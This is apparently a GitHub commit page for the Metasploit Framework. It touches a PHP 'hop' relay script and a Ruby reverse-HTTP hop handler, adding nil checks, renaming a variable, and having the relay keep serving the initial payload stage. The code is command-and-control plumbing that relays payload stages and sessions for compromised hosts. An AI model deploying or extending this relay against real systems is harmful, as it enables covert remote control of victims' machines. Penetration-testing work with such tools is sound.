Skip to content

Commit a6a731c

Browse files
committed
Keep stage until replaced, nil check, prettify.
1 parent 62f42c5 commit a6a731c

File tree

2 files changed

+16
-15
lines changed

2 files changed

+16
-15
lines changed

data/php/hop.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,5 +60,5 @@ function findSendDelete($tempdir, $prefix){
6060
fclose($f);
6161
//Initial query will be a GET and have a 12345 in it
6262
}else if(strpos($url, "12345") !== FALSE){
63-
findSendDelete($tempdir, "init");
63+
readfile($tempdir."/init");
6464
}

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -68,25 +68,26 @@ def start_handler
6868
end
6969
@@hophandlers[full_uri] = self
7070
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
71-
self) do |uri, hophttp|
71+
self) do |uri, hop_http|
7272
control = "#{uri.request_uri}control"
73-
hophttp.control = control
74-
hophttp.send_new_stage(control) # send stage to hop
73+
hop_http.control = control
74+
hop_http.send_new_stage(control) # send stage to hop
7575
@finish = false
7676
delay = 1 # poll delay
77-
until @finish and hophttp.handlers.empty?
77+
until @finish and hop_http.handlers.empty?
7878
sleep delay
7979
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
80-
crequest = hophttp.mclient.request_raw({'method' => 'GET', 'uri' => control})
81-
res = hophttp.mclient.send_recv(crequest) # send poll to the hop
80+
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
81+
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
82+
next if res == nil
8283
if res.error
8384
print_error(res.error)
8485
next
8586
end
8687

8788
# validate response
8889
received = res.body
89-
magic = hophttp.magic
90+
magic = hop_http.magic
9091
next if received.length < 12 or received.slice!(0, magic.length) != magic
9192

9293
# good response
@@ -95,17 +96,17 @@ def start_handler
9596
urlpath = received.slice!(0,urlen)
9697

9798
#received is now the binary contents of the message
98-
if hophttp.handlers.include? urlpath
99+
if hop_http.handlers.include? urlpath
99100
pack = Rex::Proto::Http::Packet.new
100101
pack.body = received
101-
hophttp.current_url = urlpath
102-
hophttp.handlers[urlpath].call(hophttp, pack)
102+
hop_http.current_url = urlpath
103+
hop_http.handlers[urlpath].call(hop_http, pack)
103104
else
104105
#New session!
105106
conn_id = urlpath.gsub("/","")
106107
# Short-circuit the payload's handle_connection processing for create_session
107108
# We are the dispatcher since we need to handle the comms to the hop
108-
create_session(hophttp, {
109+
create_session(hop_http, {
109110
:passive_dispatcher => self,
110111
:conn_id => conn_id,
111112
:url => uri.to_s + conn_id + "/\x00",
@@ -114,10 +115,10 @@ def start_handler
114115
:ssl => false,
115116
})
116117
# send new stage to hop so next inbound session will get a unique ID.
117-
hophttp.send_new_stage(control)
118+
hop_http.send_new_stage(control)
118119
end
119120
end
120-
hophttp.monitor_thread = nil #make sure we're out
121+
hop_http.monitor_thread = nil #make sure we're out
121122
@@hophandlers.delete(full_uri)
122123
end
123124
end
@@ -258,7 +259,7 @@ def send_new_stage(control)
258259
)
259260
res = self.mclient.send_recv(crequest)
260261
print_status("Uploaded stage to hop #{full_uri}")
261-
print_error(res.error) if res.error
262+
print_error(res.error) if res != nil and res.error
262263

263264
#return conn info
264265
[conn_id, url]

0 commit comments

Comments
 (0)